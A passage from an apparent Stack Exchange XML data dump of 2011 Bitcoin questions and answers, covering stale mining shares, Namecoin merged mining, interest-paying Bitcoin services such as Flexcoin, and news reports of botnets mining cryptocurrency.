  <row Id="1416" PostTypeId="1" AcceptedAnswerId="1418" CreationDate="2011-10-07T22:09:10.970" Score="42" ViewCount="238060" Body="&lt;p&gt;When I mine at a pool, only a part of my shares are accepted. There is a small percentage which is marked as stale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know I only get paid for accepted shares, so what are these stale shares and how can I avoid them?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5406" LastEditDate="2016-01-27T16:40:29.380" LastActivityDate="2021-04-26T19:03:41.703" Title="What are stale shares and what can I do to avoid them?" Tags="|mining-pools|mining-pool-shares|mining-setup|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1417" PostTypeId="2" ParentId="1413" CreationDate="2011-10-07T22:27:24.733" Score="3" Body="&lt;p&gt;If you make only outbound connections it won't matter what ports you use. Your client will be able to fully participate in the network without any issues.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-10-07T22:35:51.893" LastActivityDate="2011-10-07T22:35:51.893" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1418" PostTypeId="2" ParentId="1416" CreationDate="2011-10-07T22:28:27.797" Score="36" Body="&lt;p&gt;Stale shares are the shares that were sent after a block was already solved, that is to say, they were sent late and were no longer valid. To avoid stale shares, best to have a reasonably fast mining rig (so you won't take too long to calculate a share, probably not a problem for most machines), reliable internet connection (stable, not necessarily fast), but also an up-to-date mining software (if you are mining with some really old miner it might not communicate in the most efficient manner with the pool).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short - update your miner every now and then, make sure your internet is running okay, and don't mine on really weak rigs.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-07T22:28:27.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1419" PostTypeId="2" ParentId="1416" CreationDate="2011-10-07T22:58:35.867" Score="23" Body="&lt;p&gt;A stale share occurs when you find a share and submit it to the mining pool after the pool has already moved on to the next block. The percentage of stale shares should be very low if everything's working correct, around 2 out of 1,000 shares or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several factors affect the stale share rate. The three most important are long polling, pool load, and miner-to-pool latency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any shares found based on old work units after the pool controller receives a new block will be stale. Long polling is a technique that allows the pool to notify all of its miners when there's a change in the block chain so they can immediately request new work units. If your pool or mining software doesn't support long polling, you will finish out the old work units, generating stale shares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the long polling notification goes out, all miners that support long polling request new work units at about the same time. This generates a massive burst of load as the pool has to manages lots of network traffic and do several SHA-256 operations for each share it issues. If the pool is slow to issue you a new work unit, the window in which you can generate stale shares increases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The long polling and subsequent share request process requires a few network operations. Latency between the miner and the pool can slow this process down. Picking a pool with a controller near you (network wise) can reduce this part of the stale share window as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, some pools have had bugs in their software that produced stale shares. The pool checks if the share is stale by seeing if it has a record of the work unit and clearing all work unit records when the chain changes. So if something goes wrong with the work unit tracking process, that will result in a stale share being reported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the pool erroneously issues the same work unit to two miners, the first one to submit the share will get credit. The pool will remove the record when the share is found because otherwise you could submit the same share more than once. This will result in you getting a stale share report.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I probably shouldn't admit it, but I was actually responsible for one such bug. My first implementation of long polling in the Bitcoin client rushed as quickly as possible to send out the notifications of a new block being discovered to miners -- so quickly that some miners could request new work units before the client had finished processing the new block and they got work units based on the old block. Any shares they submitted based on those work units would be reported as stale.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-07T22:58:35.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1420" PostTypeId="2" ParentId="1415" CreationDate="2011-10-08T00:32:53.577" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/LinuxCoin&quot; rel=&quot;nofollow&quot;&gt;LinuxCoin&lt;/a&gt; is such a distro (based on Debian).&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-10-08T00:32:53.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1421" PostTypeId="1" CreationDate="2011-10-08T01:22:06.913" Score="3" ViewCount="684" Body="&lt;p&gt;MultiCoin is AFAIK the only GUI client that supports &lt;a href=&quot;https://en.bitcoin.it/wiki/Namecoin&quot; rel=&quot;nofollow&quot;&gt;NameCoin&lt;/a&gt;. Is there a trusted Windows binary to be found?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="196" LastEditDate="2013-03-03T14:04:08.843" LastActivityDate="2013-03-30T05:00:32.553" Title="Where can I find a Windows binary of MultiCoin?" Tags="|namecoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1422" PostTypeId="2" ParentId="59" CreationDate="2011-10-08T09:08:14.790" Score="0" Body="&lt;p&gt;The forks Tenebrix and Fairbrix are designed to give an advantage to CPUs. It might be more profitable to CPU mine them than Bitcoin or other GPU-algorithm forks.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2011-10-08T09:08:14.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1423" PostTypeId="1" CreationDate="2011-10-08T10:03:51.267" Score="4" ViewCount="437" Body="&lt;p&gt;How can I get the difficulty of Fairbrix or Tenebrix directly from the client? Without using an external site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &quot;getinfo&quot; with Bitcoin but with Fairbrix/Tenebrix, &quot;getinfo&quot; doesn't return anything.&#xA;I'm running it with their somewhat unstable &quot;portable launcher&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="196" LastEditDate="2013-03-03T14:03:36.127" LastActivityDate="2013-03-03T14:03:36.127" Title="How to get difficulty from Fairbrix/Tenebrix?" Tags="|tenebrix|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1424" PostTypeId="2" ParentId="1415" CreationDate="2011-10-08T10:52:58.740" Score="4" Body="&lt;p&gt;Since LinuxCoin doesn't seem to updated very frequently, here are instructions for creating a custom bootable USB with the &lt;a href=&quot;http://en.wikipedia.org/wiki/MCNLive&quot; rel=&quot;nofollow&quot;&gt;MCNLive&lt;/a&gt; distribution on it. You add whatever programs you want and it can then create a new .iso file for you to use for your USB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pendrivelinux.com/make-your-own-portable-mandriva-flash/&quot; rel=&quot;nofollow&quot;&gt;http://www.pendrivelinux.com/make-your-own-portable-mandriva-flash/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-10-08T10:52:58.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1425" PostTypeId="2" ParentId="1421" CreationDate="2011-10-08T11:19:40.160" Score="1" Body="&lt;p&gt;I have been doing windows builds of multicoin-exp, but have not heard of anyone using them so don't keep it up to date unless I get a request usually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wuala.com/jbw9/pub/Bitcoin/multicoin/MultiCoin-exp/src/bitcoin.exe/&quot; rel=&quot;nofollow&quot;&gt;http://www.wuala.com/jbw9/pub/Bitcoin/multicoin/MultiCoin-exp/src/bitcoin.exe/&lt;/a&gt; is actually mutlicoin, however I am pretty sure this version only works with the config file that would have been compatible with .62 and needs to be updated for .63 now that we have passed block 19200.  I can update it if anyone wants it to be.&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2011-10-08T11:19:40.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1426" PostTypeId="1" AcceptedAnswerId="1430" CreationDate="2011-10-08T13:23:02.907" Score="35" ViewCount="12389" Body="&lt;p&gt;Is there any Bitcoin bank I can place my Bitcoins in that will give me a decent interest rate. It should be at least 1% for it to be worth it.&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2015-02-26T00:23:35.207" Title="Is there a Bitcoin bank, which gives interest on my deposit?" Tags="|banks|" AnswerCount="9" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1427" PostTypeId="2" ParentId="1426" CreationDate="2011-10-08T13:36:00.827" Score="2" Body="&lt;p&gt;I know many people who accept Bitcoin Loans and promise a return, which in finance is known as bond. The problem is: Can you trust them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment no serious emitter is available, &lt;strike&gt;&#xA;in the near future MtGox and Tradehill will start offering such services.&lt;/strike&gt; and it seems like no candidate is available in the near future. Mtgox and Tradehill will launch Options soon, which are slightly different than &lt;a href=&quot;http://en.wikipedia.org/wiki/Option_%28finance%29&quot; rel=&quot;nofollow&quot;&gt;Bonds&lt;/a&gt;, in the fact that there is no guaranteed return. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested in investing in a start up drop me a mail to straccia.mi@gmail.com&lt;/p&gt;&#xA;" OwnerUserId="537" LastEditorUserId="537" LastEditDate="2011-10-08T15:26:05.693" LastActivityDate="2011-10-08T15:26:05.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1428" PostTypeId="2" ParentId="1426" CreationDate="2011-10-08T15:16:56.217" Score="3" Body="&lt;p&gt;I don't think a bank offering that would/should be trusted right now, because the bonds market is too shallow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I see it, we have to see a large increase in the bonds market beforehand. There will be a lot more bonds, some riskier/boarderline scams, and some more &quot;serious&quot; (e.g. Gavin or Mt. Gox issuing for a bond would probably not be treated as a scam by ... almost anyone). The interest rates of these various bonds will vary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this market materizlies, some trusted 3rd party can come and slide &amp;amp; dice these loans into something more structured. E.g. if within a year we had a range a bonds, with interest rates running from 2% to 10%, then a big player (&quot;bank&quot;), trusted by the community, can come and offer a safe interest rate of 1%. He would then invest in the bonds with some risk distribution, and make an arbitrage. Some bonds will default, but that's ok, because the overall portfolio of the bank should usually increase over time by more than 1%.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-10-08T15:16:56.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1429" PostTypeId="2" ParentId="1426" CreationDate="2011-10-08T16:43:04.347" Score="0" Body="&lt;p&gt;First of all, you should have a good answer to the non-trivial question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I deposit 1 BTC in a &quot;bank&quot; and expect to get more than 1 BTC back, where did that extra (interest) come from? You don't expect an ounce of gold to increase in mass.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you are like most people, you do not understand that banks &lt;em&gt;do not&lt;/em&gt; lend money! When you get a so-called loan in a bank what the bank provides is a &quot;promise to pay&quot; (Google 'checkbook money' and 'fractional reserve banking'), it provides credit - not money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credit, which is the same as debt, can be infinite in supply and as long as the more people (or states or corporations) keep adding to the total debt faster year after year than the rate of interest the system can stay solvent.&#xA;However, if people take out too few loans to service the interest on old loans the system collapses (in a so-called 'deflationary spiral'). By the way, contrary to popular understanding the 'deflationary spiral' phenomenon has little or nothing to do with &quot;people hoarding money&quot;, but everything to do with shrinking money supply (debt).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One GREAT feature of Bitcoin is that people can easily hold their own money in their own wallets (ie. NOT deposit the BTC in banks or online wallets). This prevents the banks from issuing &quot;promise to pay BTC&quot; in the usual fraudulent (but legalized!) way that regular banks do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Morale - be careful what you wish for. &#xA;Interest-giving BTC accounts is the kind of thing that would lead me and many others to give up on Bitcoin because once you accept promise-to-pay BTC as real BTC, the supply cap is no longer 21 million, but infinite - and Bitcoin will go the way of the fiat currency. (Die)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Real, sound, currencies like precious metals or BTC do not give interest - and for exactly the same reason. This is a good thing that we should all fight for.&lt;/p&gt;&#xA;" OwnerUserId="279" LastEditorDisplayName="user3930" LastEditDate="2013-07-27T19:33:09.707" LastActivityDate="2013-07-27T19:33:09.707" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1430" PostTypeId="2" ParentId="1426" CreationDate="2011-10-08T18:09:38.530" Score="12" Body="&lt;p&gt;&lt;strong&gt;Please Take Note: Flexcoin has been hacked and is no longer operating.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Original Post shown below:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Right now, the closest thing you can find to a bank is &lt;a href=&quot;http://www.flexcoin.com/&quot; rel=&quot;nofollow&quot;&gt;Flexcoin&lt;/a&gt;. If you keep your money there, you will receive a variable interest (they call it discount for legal matters) every month. They also have a user defined cold storage service available for those who want to keep their funds offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how it works. Every time you withdraw money from Flexcoin, you pay a fee:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Fees&lt;/strong&gt;:   &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Flexcoin to Flexcoin = FREE&lt;br&gt;&#xA;  Bitcoin to Flexcoin = FREE&lt;br&gt;&#xA;  Flexcoin to Bitcoin = 0.01 BTC or one half of one percent of the transaction amount (whichever is greater)&lt;br&gt;&#xA;  Cold Storage Transaction Fee (outbound) = 0.02 BTC or one percent of the transaction amount (whichever is greater)&lt;br&gt;&#xA;  Cold Storage Transaction Fee (inbound) = 0.01 BTC or one half of one percent of the transaction amount (whichever is greater)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This fee is used to pay miner fees and keep the service running. The rest of it is distributed among clients:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Discount Payout:&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;70% of the fees collected are disbursed to the account holders as&#xA;  discount payments on any fees already paid or any potential future&#xA;  fees, based on the following formula…&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;(your account balance / total balance of all flexcoin accounts) *&#xA;  ((all fees collected – miner fees) * 0.7)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here are &lt;a href=&quot;https://bitcointalk.org/index.php?topic=41637.0&quot; rel=&quot;nofollow&quot;&gt;two&lt;/a&gt; &lt;a href=&quot;https://bitcointalk.org/index.php?topic=46942.0&quot; rel=&quot;nofollow&quot;&gt;bitcointalk&lt;/a&gt; threads about the discount payments for the first two months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a final note, I would like to say that I personally think that this kind of service is not very useful right now because the Bitcoin price is too unstable. For example, yesterday the price dropped 15%. Any interest you might earn becomes irrelevant in this scenario.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="1475" LastEditDate="2014-03-08T07:01:22.080" LastActivityDate="2014-03-08T07:01:22.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1431" PostTypeId="1" AcceptedAnswerId="1436" CreationDate="2011-10-08T22:28:51.843" Score="9" ViewCount="1355" Body="&lt;p&gt;I read today twice concerns about inflating the blockchain:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=47352.msg563869#msg563869&quot; rel=&quot;nofollow&quot;&gt;NameCoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=47283.msg563185#msg563185&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Message Service&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, does using these services &quot;over inflate&quot; the blockchain? The way I see it, if another protocl rides on top of Bitcoin but obeys by its rules and pay all the proper transaction fees / mining time, then it's &quot;legit&quot;. My question is how can such a &quot;legit&quot; protocol inflate the blockchain more than a regular miner would?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it introduce spurious transactions? If this actually became a problem, wouldn't increasing the minimal transaction fee solve it?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-03-07T13:28:22.293" LastActivityDate="2016-03-07T13:28:22.293" Title="Does encoding Namecoin/messages into the blockchain bloat it?" Tags="|blockchain|namecoin|merged-mining|op-return|blockspace-market|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1432" PostTypeId="1" AcceptedAnswerId="1435" CreationDate="2011-10-08T22:36:04.373" Score="4" ViewCount="543" Body="&lt;p&gt;Are there concrete plans for the official client to be able to download just a portion of the blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By concrete I mean what's the issue tracking this on github, is there a planned version for it?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-10-09T01:29:33.577" Title="When will the official client support partial blockchain downloads?" Tags="|client|blockchain|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1433" PostTypeId="1" AcceptedAnswerId="1457" CreationDate="2011-10-08T22:42:28.683" Score="37" ViewCount="54211" Body="&lt;p&gt;Ok. I don't care if I make only a small amount of bitcoins mining. I want to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I setup my machine (amd x64 4.6Ghz 6GB/RAM with GeForce Nvidia 7300, LinuxMint 10) to start mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it damn simple, or it's a damn-high-geek-setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I set up to use both CPU and GPU?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much should I expect in this simple system per month with my machine on all time?&lt;/p&gt;&#xA;" OwnerUserId="491" LastEditorUserId="5406" LastEditDate="2016-01-23T12:51:35.573" LastActivityDate="2018-03-28T06:59:28.703" Title="How can I start mining Bitcoin?" Tags="|linux|cpu-mining|gpu-mining|miner-configuration|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1435" PostTypeId="2" ParentId="1432" CreationDate="2011-10-09T01:29:33.577" Score="6" Body="&lt;p&gt;Gavin has stated that he wishes to pull features in the version .5 release candidate this weeks.  He further states maybe the version .6 release will have it as a killer feature.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Maybe the big feature for version 0.6 can be fast initial download (I'm thinking the best thing to do for brand-new, starting-with-an-empty-wallet installations is to download only block headers, function as a 'lightweight' client, and 'backfill' full blocks until you're caught up with the full chain-- then function as a 'full' client)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=46493.msg553778#msg553778&quot;&gt;https://bitcointalk.org/index.php?topic=46493.msg553778#msg553778&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="94" LastActivityDate="2011-10-09T01:29:33.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1436" PostTypeId="2" ParentId="1431" CreationDate="2011-10-09T03:10:27.360" Score="5" Body="&lt;p&gt;NameCoin merged mining adds no more than 49 bytes to the size of the block.  Namecoin messages aren't stored in the bitcoin block chain, instead the hash of the most recent namecoin block is stored in the Bitcoin block providing continuity between a potential hash and the Namecoin block chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes it technically does &quot;bloat&quot; the Bitcoin blockchain but it current is ~4% and that percentage will decline as transaction volume increases, as that fixed 49 bytes is measured against increasingly larger blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for &quot;how&quot; can it be done.  The coinbase transaction (which transfers rewards and fees to miner's address) contains a field called coinbase.  Without merged mining this field is used to generate entropy for hashing process (extra nonce) which alters the block header each time it is changed.  Allowing a miner to try nearly infinite number of hashes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This field is not used by the blockchain for anything other than entropy so adding namecoin hash to the field doesn't collide with any Bitcoin transaction.  Once a block is signed the field is never used for anything other than verifying the block valid (by verifying the hash is correct and is smaller than required target).&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-19T21:25:30.557" LastActivityDate="2011-10-19T21:25:30.557" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1437" PostTypeId="2" ParentId="1416" CreationDate="2011-10-09T03:38:13.077" Score="10" Body="&lt;p&gt;The above answers are good but one thing I would add is that hashing rate affect stale share %.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why?  Because with a faster miner a smaller % of shares are even &quot;at risk&quot; of being stale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pools only pay for completed shares.  A block is found on average every 10 minutes so in that 10 minute window the last share is the one at risk of being stale.  Now the time between blocks varies but is 10 minutes on average so we will just look at affect of hashing power in a 10 minute window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 100MH/s miner would complete (on average) one share every ~42.9 seconds.  Which means in 10 minutes it could complete ~14 shares.  A 800MH/s miner would complete one shares 5.36 seconds.  In 10 minutes that is ~112 shares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If both miners are working properly and connected to fast accurate pools at most they will lose one share.  In other words for the slow miner 1 in 14 shares are &quot;at risk&quot; while with the fast miner only 1 in 112 shares are at risk.  The far extreme of this would be trying to mine with a slow CPU.  Your hashing rate could be so slow that on average you only complete 1 share per 10 minute block.  So 100% of your shares are at risk of being stale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else being equal a faster miner is more efficient putting less shares at risk of being stale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: for this purpose only the single GPU hashing power matters not the total rig or farm hashing power.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-09T16:25:01.237" LastActivityDate="2011-10-09T16:25:01.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1438" PostTypeId="1" AcceptedAnswerId="1442" CreationDate="2011-10-09T07:02:52.283" Score="11" ViewCount="790" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1431/does-encoding-namecoin-messages-into-the-blockchain-bloat-it/1436#1436&quot;&gt;this answer&lt;/a&gt;, miners can include extra data in blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an upper bound to how much a miner can add? How much? &lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-03-07T10:26:07.123" Title="Is there a limit to how much extra data can be put into blocks via scripts?" Tags="|blockchain|protocol|coinbase-transaction|op-return|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1439" PostTypeId="1" AcceptedAnswerId="1443" CreationDate="2011-10-09T07:07:53.243" Score="8" ViewCount="757" Body="&lt;p&gt;Is the threat of Botnets using massive amounts of CPUs/GPUs to mine Bitcoin, or some CPU-friendly coin, purely theoretical at this point? Or have there been reports of this actually happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know of trojans stealing Bitcoin wallets, this is not related to my question.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-02-02T09:29:47.947" LastActivityDate="2018-09-24T12:19:39.560" Title="Have there been reports of botnets mining Bitcoin / crypto-currencies?" Tags="|cpu-mining|gpu-mining|botnets|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1440" PostTypeId="2" ParentId="1439" CreationDate="2011-10-09T07:17:56.260" Score="-1" Body="&lt;p&gt;It has been happening for months.&#xA;In fact botnet software is now smart enough to identify the best option to mine on and use that - cpu or gpu.&lt;/p&gt;&#xA;" OwnerUserId="547" LastActivityDate="2011-10-09T07:17:56.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1441" PostTypeId="2" ParentId="1439" CreationDate="2011-10-09T08:06:50.843" Score="5" Body="&lt;p&gt;There were a number of news articles in September 2011 about the rootkit TDL4 using the Ufasoft GPU miner to mine bitcoins. A few links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.theinquirer.net/inquirer/news/2109599/worlds-dangerous-botnet-mines-bitcoins&quot;&gt;World's most dangerous botnet mines Bitcoins&lt;/a&gt; - The Inquirer&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.spamfighter.com/News-16865-TDL4-Worms-Discovered-in-Bitcoin-Pools-Trend-Micro.htm&quot;&gt;TDL4 Worms Discovered in Bitcoin Pools: Trend Micro&lt;/a&gt; - spamfighter.com&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gmanews.tv/story/233799/technology/new-worm-turns-pcs-into-bitcoin-miners&quot;&gt;New worm turns PCs into Bitcoin miners&lt;/a&gt; - GMA News&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Quotes below are from the article in the Inquirer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SECURITY RESEARCHERS at Russian antivirus vendor Kaspersky Lab warn&#xA;  that TDSS, one of the most dangerous and widespread family of&#xA;  rootkits, recently received an update that forces infected computers&#xA;  to mine Bitcoins.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;TDSS rootkits have consistently grown in sophistication since first&#xA;  appearing in 2008. The latest version known as TDL4 installs itself in&#xA;  the master boot record (MBR) and is capable of infecting all Windows&#xA;  versions, including 64-bit Windows Vista and Windows 7, which require&#xA;  signed device drivers.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[...]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It turns out that the variant had been configured to execute a&#xA;  component called conhost.exe with special parameters. Further&#xA;  investigation revealed that conhost.exe was a copy of the Ufasoft GPU&#xA;  Bitcoin miner application.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-10-09T08:06:50.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1442" PostTypeId="2" ParentId="1438" CreationDate="2011-10-09T08:13:47.840" Score="8" Body="&lt;p&gt;The maximum size of a block is 1MB. A block can be filled entirely with arbitrary data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namecoin actually puts its extra data into the &quot;coinbase&quot; parameter, which is specifically designed to hold arbitrary data. Data put here is limited to 100 bytes, and this data will in the future be safely forgotten by most clients.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-10-09T08:13:47.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1443" PostTypeId="2" ParentId="1439" CreationDate="2011-10-09T08:52:32.503" Score="8" Body="&lt;p&gt;First report about mining botnet was made at the end of June, and it evolved rapidly from CPU to GPU mining. But there is no consensus about what kind of harm it will do to Bitcoin, because from the bitcoin network point of view, infected computers run legitimate mining that supports network operation.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;17 Jun 2011 - &lt;a href=&quot;http://www.symantec.com/connect/blogs/bitcoin-botnet-mining&quot;&gt;Symantec suggested&lt;/a&gt; that it would be profitable to&#xA;run CPU mining botnet.&lt;/li&gt;&#xA;&lt;li&gt;28 Jun 2011 - Kaspersky Lab's expert Alex Gostev made &lt;a href=&quot;http://www.securelist.com/en/blog/208188132/Gold_rush&quot;&gt;first&#xA;report&lt;/a&gt; about simple CPU mining botnet found in the wild.&lt;/li&gt;&#xA;&lt;li&gt;2 Aug 2011  - &lt;a href=&quot;http://www.f-secure.com/weblog/archives/00002207.html&quot;&gt;F-Secure reported&lt;/a&gt; about discovery of advanced CPU&#xA;mining botnet controlled via twitter.&lt;/li&gt;&#xA;&lt;li&gt;11 Aug 2011 - &lt;a href=&quot;http://www.symantec.com/connect/blogs/bitcoin-mining-trojanbadminer&quot;&gt;Symantec discovered&lt;/a&gt; first GPU mining botnet called&#xA;Trojan.Badminer.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-10-09T08:59:44.633" LastActivityDate="2011-10-09T08:59:44.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1446" PostTypeId="2" ParentId="1426" CreationDate="2011-10-09T10:33:41.993" Score="9" Body="&lt;p&gt;In theory, such a thing could be created. 10 Bitcoins today is worth more than 10 Bitcoins tomorrow. If you don't see why, just ask yourself this: Would I rather have 10 Bitcoins today or 10 Bitcoins tomorrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, you'd rather have the 10 Bitcoins today. Why? Because you can hold them for a day and have the 10 Bitcoins tomorrow. Plus, you have the extra benefit of anything you'd prefer to do with them today rather than holding them until tomorrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, to set up such a bank right now, you'd have to use the following method:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You convert the Bitcoins to whatever national currency had the highest interest rate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You loan out that money or place it in bonds or other secure 